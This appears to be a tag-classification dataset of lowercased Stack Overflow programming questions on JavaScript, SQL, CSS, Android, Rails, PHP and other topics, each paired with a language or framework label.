what is wrong in this code in js   this code must give the output of the total cash   but rather gives wrong output  can anybody please tell me what is wrong in it.   <pre><code>var cashregister = {    total:0     add: function(itemcost)    {       this.total += itemcost;    } };  var i;  for (i=0; i&lt;4; i++) {    var a = prompt( cost );    cashregister.add(a); } //call the add method for our items   //show the total bill console.log( your bill is  +cashregister.total); </code></pre>,javascript
ruby on rails: is there a way to instantiate relationships for already existing data instead of on creation   i have a model profile that has a one-to-one relation with the model interest. on creation of a new profile  i have   <pre><code>interest.find_or_create_by(profile_id: @prof.id) </code></pre>   however  i had only recently defined this relation in my project  and such  older instances of profile are not run through this find_or_create_by line. is there a way to run this command (either through the shell or something) throughout my entire database  so that i may guarantee every instance of profile is tied with an instance of interest,ruby-on-rails
requiredfieldvalidater on updatepan in dotnet  when i place the requiredfieldvalidater for dropdownlist validationsummary control working fine but when i placed the updatpanel it is not rising,asp.net
error itms-90060:  this bundle is invalid. the value for key cfbundleshortversionstring <blockquote>    error itms-90060:  this bundle is invalid. the value for key   cfbundleshortversionstring  bf86d1735303e35c0d1159ce97d252246f972aa7    in the info.plist file must be a period-separated list of at most   three non-negative integers.   </blockquote>,ios
return var from another function is js  i read a lot but i think that i m not getting it.    i read this <a href= https://stackoverflow.com/questions/14220321/how-do-i-return-the-response-from-an-asynchronous-call >duplicated post</a> many times  and still can t figure it out how to make work. i working with code from another person and can t go crazy on the code.    how can i get a callback response to use outside the function  this code is in a function  that is in another function.   <pre><code>$.ajax({     method:  post       url:  test.php       data: data }).done(function(resp){     res = resp; }); return res; </code></pre>   i get    <pre><code>referenceerror: res is not defined return res; </code></pre>,javascript
how to convert dec to hex in javascript   i am trying to convert a dec number to hex using javascript.    the number i am trying to convert is 28.    i have tried using:   <pre><code>function h2d(h) {return parseint(h 16);} </code></pre>   however it returns 40    i have also tried using:   <pre><code>function d2h(d) {return d.tostring(16);} </code></pre>   however it returns 28    the final result should return 1c but i can t seem to work it out.    does anyone know where i have gone wrong,javascript
why mysql count without table name gives 1  could you please explain why mysql <strong>count</strong> function without providing any table name gives <strong>1</strong> as value    <pre><code>select count(*); </code></pre>   <strong>result:</strong> 1    <a href= https://i.stack.imgur.com/rdpoe.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rdpoe.jpg  alt= enter image description here ></a>,mysql
sql query to get rows with maximum of some column  i have a vehicledata table. need to write sql query to get row with maximum speed of every vehicle. that is i need a result set with 5 rows (say 5 distinct vehicles) each row is corresponding to maximum speed of respective vehicle. i know its simple  but i couldn t get it somehow,sql
how do i count customers without orders   i have a user table and a order table in my mysql database. one user can have many orders.    i m trying to find the number of <strong>users that have never placed an order</strong>  and have tried variations of this:   <pre><code>// incorrect query select count(u.id) from user as u where count(u.o) = 0 left outer join order as o on o.user_id = u.id ; </code></pre>   what is the correct way to do this,mysql
get default first children routing angularjs  after login page i go to home page and i want to call directly the default children in home page     this config in app.js   <pre><code> .config(($stateprovider  $urlrouterprovider)=&gt; {      nginject ;     $urlrouterprovider.otherwise( / );     $stateprovider       .state( login   {         url:  /           component:  login        })       .state( home   {         url:  /home           component:  home        })       .state( home.listtemplates   {         url:  /listtemplates           component:  listtemplates        });   }) </code></pre>   i want that d listtemplates will be opened directly when i open home page    it works but just when i complete the url manually     this is my home conttroller    <pre><code>class homecontroller {   constructor($state) {     this.name =  home ;     console.log( home controller );    } }   homecontroller.$inject = [ $state ]; export default homecontroller; </code></pre>   home.component   <pre><code>import template from  ./home.html  import controller from  ./home.controller ; let homecomponent = {   restrict :  e     template    controller }; export default homecomponent; </code></pre>   home.js   <pre><code>import homecomponent from  ./home.component ; import listtemplatescomponent from  listtemplates/listtemplates.component ; import angular from  angular ; import uirouter from  angular-ui-router ;  angular.module( home  [   uirouter ])   .config(($stateprovider  $urlrouterprovider)=&gt; {      nginject ;    }) .component( home  homecomponent) .component( listtemplates  listtemplatescomponent); </code></pre>   thanks for helping,angularjs
need help: automatically refresh a page (rails)  i have a test application that has a subscription. the subscription expires and i have a controller that handles the renew subscription(i know it s not good practice. i hired a cheap freelancer to do it and i don t really know how to program). the only way i know how to trigger a controller is with a link. i have a variable called  days_til_expire  that will count down to zero.    main question: is there a way to automatically trigger a refresh that will activate the controller i need. i m thinking:   <pre><code>if days_till_expire == 0   page refresh to controller#renew end </code></pre>,ruby-on-rails
how to privately store videos on sd card  i m a beginner to android and need some help. the app i m making lets the user purchase and download high resolution videos from a server. these videos are stored on the sd card.    this creates two problems for me:   <ol> <li>once on the sd card the files can be publicly viewed and copied to other locations.</li> <li>when the app is uninstalled the files remain on the sd card and take up a lot of space.</li> </ol>   <strong>my questions:</strong>   <ol> <li> can i make the videos private to my app  from what i understand storing to internal storage provides that privacy. however  internal storage is not the sd card and therefore provides only limited space - and the videos require a lot of space. </li> <li> when the app is uninstalled - is there a way to make sure the videos are removed from the sd card. </li> </ol>   please tell me if you need more information! thanks for being a great community!,android
jquery  get id of dropdownlist when button is clicked  my dom looks like:   <pre><code>&lt;td&gt;  &lt;select id=s1 class=c1&gt;...&lt;/select&gt; &lt;select id=s2 class=c1&gt;...&lt;/select&gt; &lt;select id=s3 class=c1&gt;...&lt;/select&gt; &lt;input type=button id=btn value=click/&gt; &lt;/td&gt; </code></pre>   now when the page loads  i do a <code>$( .c1 ).hide();</code> and then based on other logic  make one of them visible.    now when the button is clicked  i want the id of the drop down list that is currently visible.    how can i do this,jquery
passing float variable as parameter  i am trying to write a method with float parameter and call it using performselector but i am getting error in doing this. following is my code:    [sender performselector:selector withobject:progress/total];    here progress and total both are float variabal.    i am trying to call following method in different class   <pre><code>-(void) updateprogress:(float)fl { </code></pre>   },iphone
getting value from key session storage angular  i have this value in session storage   <pre><code>tokeninfo : {  token : be802a56dbe1783262217a2066204701870ffb17    validuntil : 2017-10-24t09:56:53.000z  } </code></pre>   what i need is to get value of tokeninfo.token  quick and easy  hoe to do that in angular,angularjs
css selector for elements of specified class that are not contained in element with another class  i m trying to select all elements of a given class  class1  which don t have any ancestor in  class2 . i thought the following selector would work:   <pre><code>:not(.class2) .class1 </code></pre>   i am putting a space between the selectors because i want all descendants of elements not in class2 to be selected.  but this didn t work  so i also tried changing the space to <code>&gt;</code>.  however this doesn t work quite right either.    i create a <a href= https://jsfiddle.net/9okqkhq5/1/  rel= nofollow >jsfiddle</a> to demonstrate what i am expected versus what i actually see.    update: it seems like the issue with using  space  is that this is literally selecting every element of class1 which has <em>any</em> element in its ancestry which is not in  class2   while the problem with  >  is that it only selects elements in which the <em>parent</em> is not  class2  without regard to whether further ancestors are in that class or not.    update 2: after looking at the example by @danip it occurs to me that another way of looking at the problem is to subtract one set from another.  so i tried <code>.class1:not(.class2 .class1)</code> but this apparently does not work because <code>:not()</code> doesn t accept complex selectors.,css
dir pagination on tab base in single page  i m using dir-pagination on tab base on a single page in a single list collection paging work as below image. open tab contains 4 rows but paging shows an incorrect count of entries.    <img src= https://i.stack.imgur.com/5byak.png  alt= enter image description here >    can someone please help me with this issue,angularjs
storing multi color text using a file in android  i m currently working on an android project which allows user to write text using different colors and store them for later use(i.e.  editing or reading).    <strong>is their any way to store a file in android with multi color text   </strong>     note: i googled out for the solution but can t find anything useful.,android
neither httperrors nor customerrors works with httprequestvalidationexception  it s sad to say but adding to any asp.net url things like <code>&lt;script</code> or <code> &lt;script</code> (and many others) ruines <code>httperrors</code> and <code>customerrors</code> functionality. only c# games around will help.    <strong>did i missed something to do it elegantly </strong><br/> and i do not want to use <code>&lt;%@ page validaterequest= false  %&gt;</code> on my custom-error page  nor the <code>&lt;customerrors ... redirectmode= responseredirect &gt;</code> or <code>&lt;httperrors ...&gt; &lt;error ... responsemode= redirect </code> in my web.config.    any variations are possible and for now i do something like this:    in the app error evernt   <pre><code>private static void showunprocessableerrors(exception exception) {     if (!(exception is httprequestvalidationexception))         return;      httpcontext.current.server.clearerror();     httpcontext.current.response.redirect( ~/error.ashx ); } </code></pre>   and in the error.ashx i do    <pre><code>public void processrequest(httpcontext context) {     context.response.statuscode = 500; } </code></pre>   of course  i have to have 500 s error configuration                  <a href= https://stackoverflow.com/questions/2480006/what-is-the-difference-between-customerrors-and-httperrors >link 1</a>; <a href= https://stackoverflow.com/questions/3813899/httprequestvalidationexception-showing-ysod-despite-customerrors-section >link 2</a>,asp.net
how to check for new table entry in mysql  how to check for new table entry in mysql  i need to automate the task in java so every time a new row added to the table the scrip that i am writing give me alert.,mysql
detecting .net framework service pack specific functions  i recently ran into an issue where i used a property that was introduced in the .net framework 2.0 sp1. this caused the code to fail completely on a pre-sp1 machine. now i m starting to wonder if there are any other hidden bugs like this waiting to pop-up. is there a tool  or any way to scan an assembly and see if there are any methods/fields/properties/whatever that are dependent on a framework service pack  maybe something like fxcop or reflector could do this  but i m not sure how to do this. any help would be much appreciated.    just for reference  the property that was introduced in 2.0 sp1 that i tried to use was the <em>font.originalname</em> property.,.net
<input type= email  placeholder= e-mailaddress > not working because of special characters in a placeholder attribute  its now not working fine showing uncaught syntax error  -  in console.    on submitting the form page refreshes and form not submitted. what we can use if we want to allow any special charactes in a placeholder attribute of this field,html
css line height  not working   trying to get a result that will outline the well .outline class  but its much too closely spaced together  and when i try and using the following code in my .intro class.   <pre><code>.intro {     /** text formatting **/     text-align: center;      /** line spacing **/     line-height: 3em; } </code></pre>   the result i get is still the same as i would have if i wasn t using the line-height.    <img src= https://i.gyazo.com/dd7cba3507edca148c728c4cc0bed953.png  alt= enter image description here >    <strong>html</strong>   <pre><code>&lt;div class= intro &gt; &lt;h4&gt; in my &lt;span class= outline &gt;corner&lt;/span&gt; of the internet i make messes that some how turn into code. don t ask me &lt;span class= outline &gt;how&lt;/span&gt;  don t ask me &lt;span class= outline &gt;corner&lt;/span&gt;  but things just look good and work well.&lt;/h4&gt; &lt;/div&gt; </code></pre>   <strong>css</strong>   <pre><code>.outline {      /** styling **/      background: #ff00f6;      color: #fff;       /** margin &amp; padding **/      margin: 3px;      padding: 6px 8px; } </code></pre>,css
what the dot before a value means in css   i was looking at the angular 2 tutorial and this detail in the css caught my attention.    what does the dot in  .1em  means or do    <pre><code>.heroes li:hover {     color: #607d8b;     background-color: #ddd;     left: .1em;   } </code></pre>,css
angularjs submit form to a url stored in the model  i have an angular application that needs to submit a form to a vendor. each time the process is run  the vendor specifies the url that the form must be submitted to. then the application submits to that url. then the vendor redirects the client s browser to a page that my application has specified in an earlier step.     i can make it submit with a hardcoded url in the form action. eg:   <pre><code>&lt;form method= post  ng-submit= presubmit()         action= https://posttestserver.com/post.php &gt; </code></pre>   but i need to submit to the url that the vendor has just specified. i have this value stored as $scope.formactionurl.    so  i try to submit my form to the value of formactionurl:   <pre><code>&lt;form method= post  ng-submit= presubmit()  action= {{formactionurl}} &gt; </code></pre>   it doesn t submit. no errors logged to the console.    if i do an inspect-element on the form  it shows me that the form action has been correctly assigned to the value stored in formactionurl.    my presubmit function executes in both cases.    the url that i need to submit to is https.     anybody know how to get it to work,angularjs
reload uitableview after removing subview  i have added <code>tableview</code> which data will be dynamically changes after filling form. and i have inserted form on <code>tableview</code> view controller class. but can t able to reload the tableview.     how can reload <code>uitableview</code> after removing subview      please suggest solution.     thanks..,iphone
habtm relationship  how to input multiple values for id   i have a user model which has_many portfolios  which has_many assets which has_and_belongs_to_many assethistories.    basically user 1 might have google in their portfolio and user 2 might also have google in their portfolio. why populate the database with duplicate lines of stock price history for google when i can have a many-to-many (habtm) relationship. however what throws me off is what to put for asset_id in the assethistory model when it will be multiple values. i.e. it needs to reference both user 1 and user 2. user 1 s google might be asset.id 1 and user 2 s google might be asset.id 2. therefore how do the entries in the assethistory model reference both the ids     it seems pretty clear that asset_id can t be 2 values simultaneously but i can t wrap my head around this. am i supposed to use a <code>foreign_key</code> and make google the key  if so  i still have issues in my asset model for what entry to put for asset_history_id  because the asset google  will have maybe 30 lines of stock price history. each stock price history would be a different asset_history_id.    can someone help explain what i m doing wrong     note that i am using after_save in my asset model to populate the asset price histories. i.e. when someone adds an asset  it populates the asset_history  but it doesn t populate the asset_history_id field in the asset model and it doesn t populate the asset_id in the assethistory model because i m at a lost on what to do there.    my asset model has:   <pre><code>class asset &lt; activerecord::base attr_accessible :asset_symbol  :shares  :cost  :date_purchased  :asset_history_id  belongs_to :portfolio     has_and_belongs_to_many :asset_histories   after_save populatepricehistory  private    def populatepricehistory          #uses an api to download price data as an array and imports it to assethistory...          #i expect something should go here to fill out the asset_history_id field in the asset model          #while simultaneously filling out the asset_id in the assethistory model     end end </code></pre>   asset history model   <pre><code>class assethistory &lt; activerecord::base     attr_accessible :close  :date  :asset_id  :asset_symbol     has_and_belongs_to_many :assets end </code></pre>   migration for assethistoryasset join table   <pre><code>class assethistoryassetjointable &lt; activerecord::migration   def up     create_table :asset_histories_assets  :id=&gt; false do |t|         t.integer :asset_id         t.integer :asset_history_id     end   end    def down     drop_table :asset_histories_assets   end end </code></pre>,ruby-on-rails
positioning text against the bottom of a block element  given the following  how can i place the text <code>foo</code> at the bottom of the block <code>div</code> element    <pre><code>&lt;div style= width:100px; height:100px &gt;foo&lt;/div&gt; </code></pre>,html
sliding door with a tail  i have an <code>&lt;h2&gt;</code> with a background that has rounded corners. i m looking for a way to create a <code>1px</code> line that moves from the box to end of the container at the right. does anyone have an idea,css
segmentation fault with fopen  i have <code>price.dat</code> in which a fruit name and the price are written a line.   <pre><code>apple 100 orange 50 banana 30 strawberry 530 </code></pre>   now i d like to read this file  calculate the sum and write the sum to another file <code>total_price.txt</code>. but the code below doesn t work.   <pre><code>#include &lt;stdio.h&gt;  int main(void) {      file *fp;     fp = fopen( ../price.dat    r ); //(*0)this is allowed.      char *name;     int price = 0;     int total = 0;      if (fp == null) {         ;     } else {         while (fscanf(fp   %s%d   name  &amp;price) == 2) {             printf( %s costs %d yen.\n   name  price);             total += price;         }          puts( ---------- );         printf( total: %d(yen)\n   total);          file *fp2;         //fp2 = fopen( ../total_price.txt    w ); //(*1)this is now allowed.         //fopen( ../total_price.txt    w ); //(*2)this is allowed.         //fclose(fp2);          fclose(fp);     }  } </code></pre>   could anyone tell me the reason  i don t understand why (*0) is allowed but (*1) is not allowed. because (*2) is allowed  i think substitution with <code>=</code> operator causes the problem.    error message:   <pre><code>/bin/bash: line 1:  5260 segmentation fault       /home/***/*** .out shell returned 139 </code></pre>   environment:   <pre><code>$ gcc --version gcc (ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609 copyright (c) 2015 free software foundation  inc. this is free software; see the source for copying conditions.  there is no warranty; not even for merchantability or fitness for a particular purpose. </code></pre>,c
any way to modify  this  in javascript   i found this answer: <a href= https://stackoverflow.com/questions/31076352/how-to-modify-this-in-javascript >how to modify &quot;this&quot; in javascript</a>    but i did not like it. surely there must be a way to <em>somehow</em> modify <code>this</code>     here is an example:   <pre><code>(function() {      var a = function(v)     {         v += 10;          a = function()         {             console.log(this);             this += 5; // how to  unlock   this               console.log(this);         }.bind(v)          //a();     }      a(0);     a();  })(); </code></pre>   fiddle: <a href= https://jsfiddle.net/ahvonenj/mz19aku6/  rel= nofollow noreferrer >https://jsfiddle.net/ahvonenj/mz19aku6/</a>    if you comment out the <code>this += 5</code> part  the console says that <code>this</code> is <code>number {[[primitivevalue]]: 10}</code>. so i do not see a reason why a <code>number</code> (primitivevalue) type could not be increased by 5 and printed out. what am i missing here     is there a way to  break out  of the engine thinking <code>this</code> as <code>this</code> and somehow forcefully convert <code>this</code> to what it says it is - <code>number</code> in this case      maybe by somehow making a function that accepts a <code>to-be-converted this</code> as an argument and returns a new function which has the supplied <code>this</code> rebound with <code>bind</code>     note: i am not looking for doing anything practical with a possible solution. i am just curious from a technical standpoint or something.    edit: so a user named oriol told me that <code>this</code> is not actually a number object with a value of 10  but instead a number literal. this apparently means that <code>this += 5</code> is almost the same as writing <code>10 += 5</code> in this case. i tried checking out out like so:   <pre><code>(function() {      var a = function(v)     {         v += 10;          a = function()         {             console.log(this);             var p = this + 5; // how to  unlock   this               console.log(p);         }.bind(v)          //a();     }      a(0);     a();  })(); </code></pre>   so <code>var p = this + 5</code> is now basically the same as writing <code>var p = 10 + 5</code>  which is what we expected.,javascript
how to read a txt file in php  i have a data diractory in my server and there is many text file like   <pre><code>text1.txt abc.txt def.txt </code></pre>   now i need to read a specific line that contain a specific word like (emp_name) from each file and echo full line in my php project. how to do this any help appreciated thanks in advance.,php
how to retrieve the user’s phone number programmatically in iphone application   as title how to  i have tried the code from others sources:   <pre><code>id number = [[nsuserdefaults standarduserdefaults] objectforkey:@”sbformattedphonenumber”];  nslog(@”user phone number is %@”  number); </code></pre>   however it return null even thought i tested on device with firmware 2.2.1. any idea,iphone
javascript element as a variable <pre><code>var x =  card ;     document.nick.x.value = card_dealt; </code></pre>   not quite sure what do do here. i googled this a bunch and came up with [] but they didn t work or i m not using them right.,javascript
using page_load and page_prerender in asp.net  i see some people are using page_load and page_prerender in same aspx page. can i exactly know why do we need to  invoke both the methods in same asp.net page     please see the code below    <pre><code>    protected void page_load(object sender  eventargs e)     {         try         {             dprpager.buttonclickpager += new eventhandler(dprpager_buttonclickpager);              if (!page.ispostback)             {               initpager();              }         }         catch (exception ex)         {          }      }      protected void page_prerender(object sender  eventargs e)     {         ermsg.visible = !string.isnullorempty(lblerror.text);     } </code></pre>,asp.net
how to remove one letter in jlabel on button click   <code>string k=jlabel2.gettext();</code>// getting text eg=abcd    <code>int kl=k.length()-1;</code>  // get k s length and remove one letter        i need to do this    <pre><code>if jlabel.gettext = abcde </code></pre>   and i want to remove e from <code>abcde</code>    <code>eg=abcd</code> to <code>abc</code>,java
accessing class method in iphone  how can i access nsobject class method  i have one nsobject class for audiostreaming where the audio gets start and stops  when i changing the tab i want to stop that streamer by method define in audiostreaming class how can this be done.    thank you.,iphone
is it possible to add dynamically named properties to javascript object   in javascript  i ve created an object like so:   <pre><code>var data = {      propertya : 1       propertyb : 2       propertyc : 3 }; </code></pre>   is it possible to add further properties to this object after it s initial creation if the properties name is not determined until run time  i.e.   <pre><code>var propname =  property  + someuserinput //imagine someuserinput was  z   how can i now add a  propertyz  property to  //my object  </code></pre>,javascript
org.json.jsonexception: value success<br of type java.lang.string cannot be converted to jsonobject android  here  i am trying to get response from php server. my response in logcat is like this    05-11 08:04:43.760: e/image_response(10577): success<br />    05-11 08:04:43.760: e/image_response(10577): <b>warning</b>:  cannot modify header information - headers already sent by (output started at /home/swapclon/rails2.swapclone.com/eventdemo/upload.php:14) in <b>/home/swapclon/rails2.swapclone.com/eventdemo/upload.php</b> on line <b>20</b><br />    05-11 08:04:43.760: e/image_response(10577): { msg : sucess!!   name : logo_49152_forest.jpeg   name_old : forest.jpeg }    and my android coding for getting response is like this..   <pre><code>   string response1 = entityutils.tostring(response.getentity());            log.e( image_response  response1);            dialog.dismiss();              if(response1.contains( name ))            {                log.e( ifff   iff );                jsobje = parsejson(response1);                 if(jsobje != null)                 {                   string iii= jsobje.getstring( name );                }            } </code></pre>,android
how to dynamically add a view to a flipper view <pre><code>&lt;linearlayout     android:id= @+id/linear2      android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical       &gt;     &lt;viewflipper      android:id= @+id/flipper       android:layout_width= fill_parent       android:layout_height= fill_parent        &gt;      &lt;include android:id= @+id/include1  layout= @layout/fb_list1 /&gt;      &lt;include  android:id= @+id/include2  layout= @layout/fb_list2 /&gt;      &lt;/viewflipper&gt; &lt;/linearlayout&gt; </code></pre>   this is my main layout. i have 2 views in a flipper view  and i want to add a third one dynamically. how should i do it,android
java -http post request from port 80 is not working  i have deployed an paypal ipn service on my local machine on port 80.from this ipn service i am hitting another service which on asp.net(iis) but http post data is getting being truncated on reaching the iis server.and if i do the the same from another port except 80 it is working without any issue.i am not getting  why my http post request data is not reaching there just because of using port 80.,java
what users do the users in max_user_connections in mysql refer to   in mysql  what users do the users in <code>max_user_connections</code> refer to  does it refer to users as in visitors to the site from outside  or some other kind of users     i m a little stuck with this max_user_connections thing. if it s <code>users</code> who are visitors to the site how do i set the number  there could be 500 people visiting my site or more or less.    what is the best way to handle this,mysql
resume avaudioplayer after interruption ends  having issue when interruption like phone call comes it pauses audio but when interruption ends app is not resuming audioplayer. please suggest how i can resume the audio player back,iphone
variable scopes in if statements  i have an issue accessing variables outside of an if statements.   <pre><code> if ($_session[ yesvotes ] = 0) {      $finaltime =   ;          $timenow = time();      $timelimit = 2;      $timelimitunix = ((($timelimit)*60)*60);      $finaltime = $timelimitunix + $timenow;       echo $finaltime;  }   if (isset($_post[ buttonyes ])) {      if (time() &gt; $finaltime) {          echo  time done ;      } else {       }  } </code></pre>   for some reason the variable $finaltime is undefined within the third if statement and i can t seem to figure out why.     any ideas     thanks for the help guys. i also encounter a new issue.    if(isset($_post[ buttonyes ]))         {   <pre><code>        if (($_session[ yesvotes ] == 0 &amp;&amp; $_session[ novotes ] == 0))         {              $timenow = time();             $timelimit = $_session[ qtime ];             $timelimitunix = ((($timelimit)*60)*60);             $finaltime = $timelimitunix + $timenow;          }          if(time() &gt; $finaltime)          {             echo   there is no time left to vote ;         }         else         {           //increment votes </code></pre>   when the code is ran again and yes/no votes !=0  the variable $finaltime does not seem to be available again. i assume this is because the time function is not ran again       nevermind fixed    if(isset($_post[ buttonyes ]))         {   <pre><code>        if (($_session[ yesvotes ] == 0 &amp;&amp; $_session[ novotes ] == 0))         {              $timenow = time();             $timelimit = $_session[ qtime ];             $timelimitunix = ((($timelimit)*60)*60);             $finaltime = $timelimitunix + $timenow;              $_session[ timecomplete ] = $finaltime;          }            if(time() &gt; $_session[ timecomplete ])          {             echo   there is no time left to vote ;         }         else         { </code></pre>,php
sql: is there a way to validate the value from a column against the value from a column in a different table not using foreign key   i want a column from a table to have a limited domain  which is listed in a different table. usually  i d just do this:   <pre><code>alter table table1 add constraint fk_especialidade foreign key (column1) references table2 </code></pre>   however the values that  column1  must reference should not be a primary key in table2. any suggestions,sql
css make height of divs equal (adjusted to the div with most content)  i am creating a quiz game for my website. it sometimes happens that the content of the answers is different in length  which means that the divs containing the content have different height.    i want them to have the same height. they must somehow get the height of the div with the most content    here is a <a href= https://jsfiddle.net/xpdxyaz6/77/  rel= nofollow noreferrer >fiddle</a> with the problem.    the live site is <a href= https://www.path-of-exile-builds.com/quiz  rel= nofollow noreferrer >https://www.path-of-exile-builds.com/quiz</a>    the problem:    <a href= https://i.stack.imgur.com/0hijx.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/0hijx.png  alt= enter image description here ></a>    i tried using   <pre><code>display: flex; </code></pre>   but it never worked. right now i have no ideas. i will probably try to play around with js and set the elements height on displaying the next question  but i feel like there should be an easier solution with css.,css
php if in an option tag  hi can anyone help me with this  i really had a hard time putting my if statement in this code   <pre><code>&lt;select name= date_opened_year &gt; &lt; php  define( dob_year_start   1962); $current_year = date( y );  for ($count = $current_year; $count &gt;= dob_year_start; $count--) {     echo  &lt;option value= {$count} &gt;{$count}&lt;/option&gt; ; }  &gt; &lt;/select&gt; </code></pre>   and i have here a code where i had put my if statement    <pre><code>&lt;select name= date_opened_year &gt; &lt; php  define( dob_year_start   1962); $current_year = date( y );  for ($count = $current_year; $count &gt;= dob_year_start; $count--) {     echo  &lt;option value= {$count}  if($yy == $count) echo  selected &gt;{$count}&lt;/option&gt; ; }  &gt; &lt;/select&gt; </code></pre>   $yy = 2003 well it comes from a query in the database and when i look at the code it gives me something like this   <pre><code>&lt;option  selected =   echo=   2012)=   if(2003= =  value= 2012 &gt;2012&lt;/option&gt; </code></pre>   why is that  can anyone revise the code  thanks,php
ios auto refresh a view element  i am fetching data from an api and storing into a file. i am fetching data after every 10 minutes using <code>nstimer</code>.    it works well for me.    however  i want to auto-refresh one of my views whenever i fetch data. i am able to call a function of my view and log the data  but i am unable to update my labels  text using the following code:   <pre><code>uiviewcontroller *vc = [uiviewcontroller alloc] init];  vc.showlabels;  </code></pre>   does anybody know how to refresh a visible viewcontroller     thanks in advance!,ios
css styles question  is there a way to add special characters <code>&amp;diams;</code> through css styles if so can you show an example that works on most browsers,css
avoiding empty objects in rails each while preserving ids  the following template is based off of the rails tutorial at <a href= http://guides.rubyonrails.org/getting_started.html  rel= nofollow noreferrer >http://guides.rubyonrails.org/getting_started.html</a>     i m creating the  real_comments  inline to avoid an extra empty comment created by the form @article.comments.build however this causes an error as the comment id is missing when i try to delete it.    <pre><code>no route matches [delete]  /articles/2/comments  </code></pre>   is it possible to strip out the extra comment created by build while maintaining the index for performing operations on the comment by id  i came up with the real_comments solution myself by playing around so i have no doubt i m doing something very un-rails which is causing the issue   <pre><code>&lt;p&gt;   &lt;strong&gt;title:&lt;/strong&gt;   &lt;%= @article.title %&gt; &lt;/p&gt; &lt;p&gt;   &lt;strong&gt;text:&lt;/strong&gt;   &lt;%= @article.text %&gt; &lt;/p&gt; &lt;%#how to copy an array in ruby %&gt; &lt;% real_comments = @article.comments.map do |e|   e.dup end %&gt;  &lt;h2&gt;add a comment:&lt;/h2&gt; &lt;%= form_for([@article  @article.comments.build]) do |f| %&gt;     &lt;p&gt;       &lt;%= f.label :commenter %&gt;       &lt;%= f.text_field :commenter %&gt;     &lt;/p&gt;     &lt;p&gt;       &lt;%= f.label :body %&gt;       &lt;%= f.text_area :body %&gt;     &lt;/p&gt;     &lt;p&gt;       &lt;%= f.submit %&gt;     &lt;/p&gt; &lt;% end %&gt;  &lt;h2&gt;comments:&lt;/h2&gt; &lt;% real_comments.each do |comment| %&gt;     &lt;p&gt;       &lt;strong&gt;commenter:&lt;/strong&gt;       &lt;%= comment.commenter %&gt;     &lt;/p&gt;      &lt;p&gt;       &lt;strong&gt;comment:&lt;/strong&gt;       &lt;%= comment.body %&gt;     &lt;/p&gt;      &lt;%= link_to  destroy comment   [comment.article  comment]  method: :delete  data: {confirm:  are you sure  } %&gt; &lt;% end %&gt;  &lt;%= link_to  edit   edit_article_path(@article) %&gt; &lt;%= link_to  back   articles_path %&gt; </code></pre>,ruby-on-rails
how can i get my output working for the default dictionary of lists <pre><code>ls1 = [[ b   (1  1)]  [ b   (1  2)]  [ b   (1  3)]  [ c   (2  1)]  [ c   (2  2)]] ls2 = [ a    b ]  from itertools import groupby  key = lambda x: x[1][0] lens = [len(list(g)) for k  g in groupby(sorted(ls1  key=key)  key=key)] dct = dict(zip(ls2  lens)) </code></pre>   my output comes as    <pre><code>{ a : 3   b : 2} </code></pre>   instead of using dict in the last line of the code if i use    <pre><code>d2 = defaultdict(list) </code></pre>   then how can i get the same output in d2,python
dirent.h - get the strings for files with a certain extension exclusively  having a few issues trying to think of a good way to have a directory traverser that will only select wav files and return the strings for those files exclusively  e.g. just wav files. i can stop dirent.h looking in subdirectories  i m pretty sure i just need an if statement that only allows files with .wav in string    so far my code looks like this  i just extended a few examples i ve seen on the wiki page for the header file:   <pre><code>ifstream fin; string dir  filepath; dir *dp; struct dirent *dirp; struct stat filestat;   cout &lt;&lt;  dir to get files of:   &lt;&lt; flush;  getline(cin  dir);  dp = opendir( dir.c_str() );  if (dp == null){      cout &lt;&lt;  error(  &lt;&lt; errno &lt;&lt;  ) opening   &lt;&lt; dir &lt;&lt; endl;      }  while ((dirp = readdir( dp ))){      filepath = dir +  /  + dirp-&gt;d_name;      if (stat( filepath.c_str()  &amp;filestat )) continue;     if (s_isdir( filestat.st_mode ))         continue;      fin.open( filepath.c_str() );      stringvec.push_back(filepath);      fin.close();      }  closedir( dp );  for(int i=0;i&lt;stringvec.size();i++){     cout &lt;&lt; stringvec[i] &lt;&lt; endl;  } </code></pre>   any help appreciated  i m its not super difficult - but so far i haven t been able to figure it out.,c++
using lower() in a trigger after declaring a variable  i want to <code>set</code> some variable i have declared in mysql to lowercase in a trigger using this code   <pre><code>declare last_inserted_number varchar(100) default  0800100200 ; declare last_inserted_message varchar(100) default  lorem ipsum ;  set last_inserted_number = new.dest_msisdn; set last_inserted_message = lower(new.text_message); </code></pre>   <code>set last_inserted_message = lower(new.text_message);</code> do not throw an error although i suspect  i may have used <code>lower()</code> in the wrong way when i wrote <code>lower(new.text_message)</code>    should i be using <code>lower()</code> in this way .,mysql
inner join not works  after a long work on it i am here going to ask my question  its simple but i don t know why it is not working  please help!!!    i have a table     <strong>phpfox_friend</strong>  (where i have the below columns)   <ul> <li>friend_id</li> <li>user_id</li> <li>friend_user_id</li> <li>ordering</li> </ul>   <strong>phpfox_user</strong> (where i have below columns)   <ul> <li>usre_id </li> <li>user_name </li> <li>status_id </li> <li>full_name</li> </ul>   i am trying to inner join it by using below mentioned sql query  but it give me an error   <blockquote>    <code>#</code>1054 - unknown column  phpfox_friend.user_id  in  on clause   </blockquote>   <strong>query</strong>   <pre><code>select *  from `phpfox_friend`  inner join `phpfox_user`    on `phpfox_friend.user_id`=`phpfox_user.user_id`  where phpfox_user.user_name is not null </code></pre>   kindly guide me what i am doing wrong in it,mysql
how to make an application perform an action whenever a shake is detected   i want to know the way to display images whenever the iphone detects a shake.the images would be those stored in a folder in the iphone. a source code would really be helpful.,objective-c
image not visible on device but appers on the simulator  in my app i have set custom image for segment control. image shows up very well on the simulator but not on the device. i checked all possible ways and tried what ever was answered for this issue earlier for the issues same as i have now. but still i can t locate exact solution for this. can anyone help please.,objective-c
command arguments in aspx page  i am retrieving two arguments in commandargument att  but both of them are guid type  and it gives error  can i cast guid to string type in eval    <pre><code>&lt;asp:linkbutton id= btneditcompanyprofile  commandname =  edit   commandargument= &lt;%#eval( companyprofileguid ) +  #  + eval( deploymentguid )%&gt;  class= edit-icon   tooltip= &lt;%$ resources:strings  ui_tooltip_edit %&gt;                    runat= server   &gt;&lt;/asp:linkbutton&gt; </code></pre>,asp.net
